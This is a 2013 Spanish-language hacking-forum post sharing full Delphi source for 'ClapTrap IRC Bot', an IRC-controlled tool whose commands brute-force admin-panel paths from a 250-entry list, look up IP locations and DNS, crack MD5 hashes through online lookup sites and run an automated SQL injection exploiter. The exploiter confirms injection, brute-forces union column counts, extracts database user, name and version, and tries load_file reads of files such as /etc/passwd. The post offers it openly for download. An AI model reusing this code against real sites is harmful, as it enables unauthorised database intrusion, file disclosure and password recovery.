[Delphi] ClapTrap IRC Bot 0.5

Iniciado por BigBear, Noviembre 11, 2013, 01:13:28 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Noviembre 11, 2013, 01:13:28 PM Ultima modificación: Noviembre 11, 2013, 01:15:49 PM por Doddy
Acabo de terminar mi nuevo programa en Delphi "ClapTrap IRC Bot" , como su nombre dice es solo un bot para IRC con las siguientes opciones :

  • Busca panel de administracion
  • Localiza IP y sus DNS
  • Crackea hashes MD5
  • Y scannea SQLI

    Unas imagenes :





    Menu de carga

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit clap;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, acPNG, ExtCtrls, sSkinManager, ComCtrls, acProgressBar, StdCtrls,
      sGroupBox, sButton, sLabel;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        Image1: TImage;
        sGroupBox1: TsGroupBox;
        sProgressBar1: TsProgressBar;
        Timer1: TTimer;
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;

    implementation

    uses menu;
    {$R *.dfm}

    procedure TForm1.FormCreate(Sender: TObject);

    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;

    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      total: integer;

    begin

      total := 0;
      sProgressBar1.Min := 0;
      sProgressBar1.Max := 100;

      For i := 1 to 100 do
      begin

        Form1.Update;

        Sleep(1000);

        total := total + 10;

        sProgressBar1.Position := total;

        if (sProgressBar1.Position = 100) then
        begin
          Timer1.Enabled := False;
          Form1.Hide;
          Form2.Show;
          Abort;
        end;
      end;

    end;

    end.

    // The End ?


    Menu

    Código: delphi

    // ClapTrap IRC Bot 0.5
    // (C) Doddy Hackman 2013

    unit menu;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sLabel, sGroupBox, ComCtrls,
      sStatusBar, acPNG, ExtCtrls, GIFImg, sMemo, IdContext, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdCmdTCPClient, IdIRC, PerlRegEx,
      IdMultipartFormData, IdHTTP;

    type
      TForm2 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sLabel1: TsLabel;
        sLabel2: TsLabel;
        sLabel3: TsLabel;
        sLabel4: TsLabel;
        sEdit1: TsEdit;
        sEdit2: TsEdit;
        sEdit3: TsEdit;
        sEdit4: TsEdit;
        sButton1: TsButton;
        sButton2: TsButton;
        sStatusBar1: TsStatusBar;
        Image1: TImage;
        sGroupBox2: TsGroupBox;
        sMemo1: TsMemo;
        Image2: TImage;
        PerlRegEx1: TPerlRegEx;
        IdIRC1: TIdIRC;
        PerlRegEx2: TPerlRegEx;
        IdHTTP1: TIdHTTP;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
          AHost, ANicknameTo, AMessage: string);

        procedure FormCreate(Sender: TObject);

        procedure FormClose(Sender: TObject; var Action: TCloseAction);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form2: TForm2;

    implementation

    {$R *.dfm}

    procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
      Application.Terminate;
    end;

    procedure TForm2.FormCreate(Sender: TObject);
    begin
      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'cappuccino';
      sSkinManager1.Active := True;
    end;

    procedure TForm2.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);

    var
      rta: string;
      z: integer;
      par: TIdMultiPartFormDataStream;
      target: string;

    var
      IdHTTP: TIdHTTP;
      i: integer;

    var
      url: string;
      urldos: string;
      code: string;
      codedos: string;
      pass1: string;
      pass2: string;
      urltest: string;
      urlgen: string;

    var
      hextest: string;
      web1: string;
      web2: string;
      web3: string;
      full: string;

    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php',
        'admin/system.php', 'admin/ingresar.php', 'admin/administrador.php',
        'admin/default.php', 'administracion/', 'administracion/index.php',
        'administracion/login.php', 'administracion/ingresar.php',
        'administracion/admin.php', 'administration/', 'administration/index.php',
        'administration/login.php', 'administrator/index.php',
        'administrator/login.php', 'administrator/system.php', 'system/',
        'system/login.php', 'admin.php', 'login.php', 'administrador.php',
        'administration.php', 'administrator.php', 'admin1.html', 'admin1.php',
        'admin2.php', 'admin2.html', 'yonetim.php', 'yonetim.html', 'yonetici.php',
        'yonetici.html', 'adm/', 'admin/account.php', 'admin/account.html',
        'admin/index.html', 'admin/login.html', 'admin/home.php',
        'admin/controlpanel.html', 'admin/controlpanel.php', 'admin.html',
        'admin/cp.php', 'admin/cp.html', 'cp.php', 'cp.html', 'administrator/',
        'administrator/index.html', 'administrator/login.html',
        'administrator/account.html', 'administrator/account.php',
        'administrator.html', 'login.html', 'modelsearch/login.php',
        'moderator.php', 'moderator.html', 'moderator/login.php',
        'moderator/login.html', 'moderator/admin.php', 'moderator/admin.html',
        'moderator/', 'account.php', 'account.html', 'controlpanel/',
        'controlpanel.php', 'controlpanel.html', 'admincontrol.php',
        'admincontrol.html', 'adminpanel.php', 'adminpanel.html', 'admin1.asp',
        'admin2.asp', 'yonetim.asp', 'yonetici.asp', 'admin/account.asp',
        'admin/home.asp', 'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/',
        'vmailadmin/', 'Indy_admin/', 'ccp14admin/', 'irc-macadmin/',
        'banneradmin/', 'sshadmin/', 'phpldapadmin/', 'macadmin/',
        'administratoraccounts/', 'admin4_account/', 'admin4_colon/', 'radmind1/',
        'SuperAdmin/', 'AdminTools/', 'cmsadmin/', 'SysAdmin2/', 'globes_admin/',
        'cadmins/', 'phpSQLiteAdmin/', 'navSiteAdmin/', 'server_admin_small/',
        'logo_sysadmin/', 'server/', 'database_administration/', 'power_user/',
        'system_administration/', 'ss_vms_admin_sm/');

    begin
      if ANicknameFrom = sEdit4.Text then
      begin

        // Help

        PerlRegEx1.Regex := '!help';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          IdIRC1.Say(ANicknameFrom, 'Hi , I am ClapTrap and my commands are :');
          IdIRC1.Say(ANicknameFrom, '!locateip <target>');
          IdIRC1.Say(ANicknameFrom, '!panel <target>');
          IdIRC1.Say(ANicknameFrom, '!sqli <target>');
          IdIRC1.Say(ANicknameFrom, '!crackmd5 <md5>');
          IdIRC1.Say(ANicknameFrom, '!help <?>');
          IdIRC1.Say(ANicknameFrom, 'Good Bye');
        end;

        //

        // LocateIP

        PerlRegEx1.Regex := '!locateip (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Working');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Working');

          par := TIdMultiPartFormDataStream.Create;
          par.AddFormField('DOMAINNAME', PerlRegEx1.SubExpressions[1]);

          rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

          PerlRegEx2.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
          PerlRegEx2.Subject := rta;

          if PerlRegEx2.Match then
          begin
            target := PerlRegEx2.SubExpressions[2];

            rta := IdHTTP1.Get(
              'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
                target);

            PerlRegEx2.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin

              IdIRC1.Say(ANicknameFrom, '[+] City : ' + PerlRegEx2.SubExpressions[2]
                );

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] City : Not Found');
            end;

            PerlRegEx2.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : ' + PerlRegEx2.SubExpressions
                  [2]);

            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] Country : Not Found');
            end;

            PerlRegEx2.Regex :=
              'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : ' + PerlRegEx2.SubExpressions
                  [2]);
            end
            else
            begin
              IdIRC1.Say(ANicknameFrom, '[+] State : Not Found');
            end;

            //

            // Get DNS

            rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + target);

            PerlRegEx2.Regex := 'whois\/(.*?)\">Whois';
            PerlRegEx2.Subject := rta;

            while PerlRegEx2.MatchAgain do
            begin
              for z := 1 to PerlRegEx2.SubExpressionCount do
                IdIRC1.Say(ANicknameFrom,
                  '[+] DNS Found : ' + PerlRegEx2.SubExpressions[z]);
            end;

          end;

          sStatusBar1.Panels[0].Text := '[+] LocateIP : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] LocateIP : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] LocateIP : Finished');

          //
        end;

        //

        // PanelFinder

        PerlRegEx1.Regex := '!panel (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin
          //

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Working';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Working');

          sMemo1.Lines.Add('[+] PanelFinder : Working');

          try

            IdHTTP := TIdHTTP.Create(nil);

            for i := Low(paginas) to High(paginas) do
              try

                sStatusBar1.Panels[0].Text := '[+] Testing : ' + paginas[i];
                Form2.sStatusBar1.Update;

                IdHTTP.Get(PerlRegEx1.SubExpressions[1] + '/' + paginas[i]);
                if IdHTTP.ResponseCode = 200 then
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Link Found : ' + PerlRegEx1.SubExpressions[1]
                      + '/' + paginas[i]);
              except
                on E: EIdHttpProtocolException do
                  ;
                on E: Exception do
                  ;
              end;
          finally
            IdHTTP.Free;
          end;

          sStatusBar1.Panels[0].Text := '[+] PanelFinder : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] PanelFinder : Finished');

          sMemo1.Lines.Add('[+] PanelFinder : Finished');

          //
        end;

        //

        // Crack MD5

        PerlRegEx1.Regex := '!crackmd5 (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then
        begin

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Working');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Working');

          sStatusBar1.Panels[0].Text := '[+] Searching in md5.hashcracking.com ...';
          Form2.sStatusBar1.Update;

          rta := IdHTTP1.Get('http://md5.hashcracking.com/search.php?md5=' +
              PerlRegEx1.SubExpressions[1]);

          PerlRegEx2.Regex := 'Cleartext of (.*) is (.*)';
          PerlRegEx2.Subject := rta;
          if PerlRegEx2.Match then
          begin
            IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                + ':' + PerlRegEx2.SubExpressions[2]);
          end
          else
          begin

            rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' +
                PerlRegEx1.SubExpressions[1]);

            PerlRegEx2.Regex := '<div id=\"result\" >(.*)<\/div>';
            PerlRegEx2.Subject := rta;

            if PerlRegEx2.Match then

            begin

              if not(Length(PerlRegEx2.SubExpressions[1]) = 32) then
              begin
                IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                    + ':' + PerlRegEx2.SubExpressions[1]);
              end
              else

              begin

                sStatusBar1.Panels[0].Text :=
                  '[+] Searching in md52.altervista.org ...';
                Form2.sStatusBar1.Update;

                rta := IdHTTP1.Get
                  ('http://md52.altervista.org/index.php?md5=' +
                    PerlRegEx1.SubExpressions[1]);

                PerlRegEx2.Regex :=
                  '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
                PerlRegEx2.Subject := rta;

                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, PerlRegEx1.SubExpressions[1]
                      + ':' + PerlRegEx2.SubExpressions[1]);
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] Hash not cracked');
                end;
              end;

            end;
          end;

          sStatusBar1.Panels[0].Text := '[+] CrackMD5 : Finished';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] CrackMD5 : Finished');

          IdIRC1.Say(ANicknameFrom, '[+] CrackMD5 : Finished');

        end;

        //

        // SQLI Scanner

        PerlRegEx1.Regex := '!sqli (.*)';
        PerlRegEx1.Subject := AMessage;

        if PerlRegEx1.Match then

        begin

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Working';
          Form2.sStatusBar1.Update;

          sMemo1.Lines.Add('[+] SQLI Scanner : Working');

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Working');

          pass1 := '+';
          pass2 := '--';

          urltest := 'concat(0x4b30425241,1,0x4b30425241)';

          sStatusBar1.Panels[0].Text := '[+] Checking ...';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] Checking ...');

          code := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=1' +
              pass2);

          codedos := IdHTTP1.Get
            (PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' + pass1 + '1=0' +
              pass2);

          if not(code = codedos) then
          begin

            IdIRC1.Say(ANicknameFrom, '[+] Vulnerable !');

            sStatusBar1.Panels[0].Text := '[+] Finding columns number';
            Form2.sStatusBar1.Update;

            IdIRC1.Say(ANicknameFrom, '[+] Finding columns number');

            urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' +
              pass1 + 'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
            urlgen := '1';
            for i := 2 to 36 do
            begin
              sStatusBar1.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
              Form2.sStatusBar1.Update;
              urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i)
                + ',0x4b30425241)';
              urlgen := urlgen + ',' + IntToStr(i);
              code := IdHTTP1.Get(PerlRegEx1.SubExpressions[1] + urltest + pass2);
              PerlRegEx2.Regex := 'K0BRA(.*?)K0BRA';
              PerlRegEx2.Subject := code;

              if PerlRegEx2.Match then
              begin

                IdIRC1.Say(ANicknameFrom, '[+] Columns Length : ' + IntToStr(i));
                IdIRC1.Say(ANicknameFrom,
                  '[+] The number ' + PerlRegEx2.SubExpressions[1] + ' show data');

                urlgen := StringReplace(urlgen, PerlRegEx2.SubExpressions[1],
                  'hackman', []);
                full := PerlRegEx1.SubExpressions[1] + '1' + pass1 + 'and' +
                  pass1 + '1=0' + pass1 + 'union' + pass1 + 'select' + pass1 +
                  urlgen;

                IdIRC1.Say(ANicknameFrom, '[+] Link : ' + full);

                //

                pass1 := '+';
                pass2 := '--';

                hextest := '0x2f6574632f706173737764'; // /etc/passwd
                hextest := '0x633A2F78616D70702F726561642E747874';
                // #c:/xampp/read.txt

                web1 := StringReplace(full, 'hackman', '0x4b30425241', []);
                web2 := StringReplace(full, 'hackman',
                  'concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)', []);
                web3 := StringReplace(full, 'hackman',
                  'unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(' +
                    hextest + '))))', []);

                sStatusBar1.Panels[0].Text := '[+] Getting more data ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get
                  (web1 + pass1 + 'from' + pass1 + 'mysql.user' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] mysqluser : OFF');
                end;

                code := IdHTTP1.Get(web1 + pass1 + 'from' + pass1 +
                    'information_schema.tables' + pass2);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] information_schema.tables : OFF');
                end;

                code := IdHTTP1.Get(web3);
                PerlRegEx2.Regex := 'K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : ON');
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[+] load_file : OFF');
                end;

                sStatusBar1.Panels[0].Text := '[+] Getting DB details ...';
                Form2.sStatusBar1.Update;

                code := IdHTTP1.Get(web2);

                PerlRegEx2.Regex := 'K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA';
                PerlRegEx2.Subject := code;
                if PerlRegEx2.Match then
                begin

                  IdIRC1.Say(ANicknameFrom,
                    '[+] User : ' + PerlRegEx2.SubExpressions[1]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Database : ' + PerlRegEx2.SubExpressions[2]);
                  IdIRC1.Say(ANicknameFrom,
                    '[+] Version : ' + PerlRegEx2.SubExpressions[3]);

                  sStatusBar1.Panels[0].Text := '[+] Done';
                  Form2.sStatusBar1.Update;
                end
                else
                begin
                  IdIRC1.Say(ANicknameFrom, '[-] DB details not found');
                  sStatusBar1.Panels[0].Text := '[-] DB details not found';
                  Form2.sStatusBar1.Update;
                end;


                //

                sStatusBar1.Panels[0].Text := '[+] Done';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] Done');

                sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

                sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
                Form2.sStatusBar1.Update;

                IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

                abort;
              end
            end;
            sStatusBar1.Panels[0].Text := '[-] Columns Length not found';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Columns Length not found');
          end
          else
          begin
            sStatusBar1.Panels[0].Text := '[-] Not vulnerable';
            Form2.sStatusBar1.Update;
            IdIRC1.Say(ANicknameFrom, '[-] Not vulnerable');
          end;

          sStatusBar1.Panels[0].Text := '[+] SQLI Scanner : Finished';
          Form2.sStatusBar1.Update;

          IdIRC1.Say(ANicknameFrom, '[+] SQLI Scanner : Finished');

          sMemo1.Lines.Add('[+] SQLI Scanner : Finished');

        end;

      end;
    end;

    procedure TForm2.sButton1Click(Sender: TObject);
    var
      nick: string;
    begin

      nick := 'ClapTrap';

      IdIRC1.Host := sEdit1.Text;
      IdIRC1.Port := StrToInt(sEdit2.Text);
      IdIRC1.Nickname := nick;
      IdIRC1.Username := nick + ' 1 1 1 1';
      IdIRC1.AltNickname := nick + '-l33t';

      try

        IdIRC1.Connect;
        IdIRC1.Join(sEdit3.Text);

        sStatusBar1.Panels[0].Text := '[+] Connected';
        Form2.sStatusBar1.Update;

      except
        sStatusBar1.Panels[0].Text := '[-] Error';
        Form2.sStatusBar1.Update;
      end;

    end;

    procedure TForm2.sButton2Click(Sender: TObject);
    begin

      IdIRC1.Part(sEdit3.Text);
      IdIRC1.Disconnect();

      sStatusBar1.Panels[0].Text := '[+] OffLine';
      Form2.sStatusBar1.Update;

    end;

    end.

    // The End ?


    En honor a ClapTrap el robot gracioso de BorderLands xDD.

    Si lo quieren bajar lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.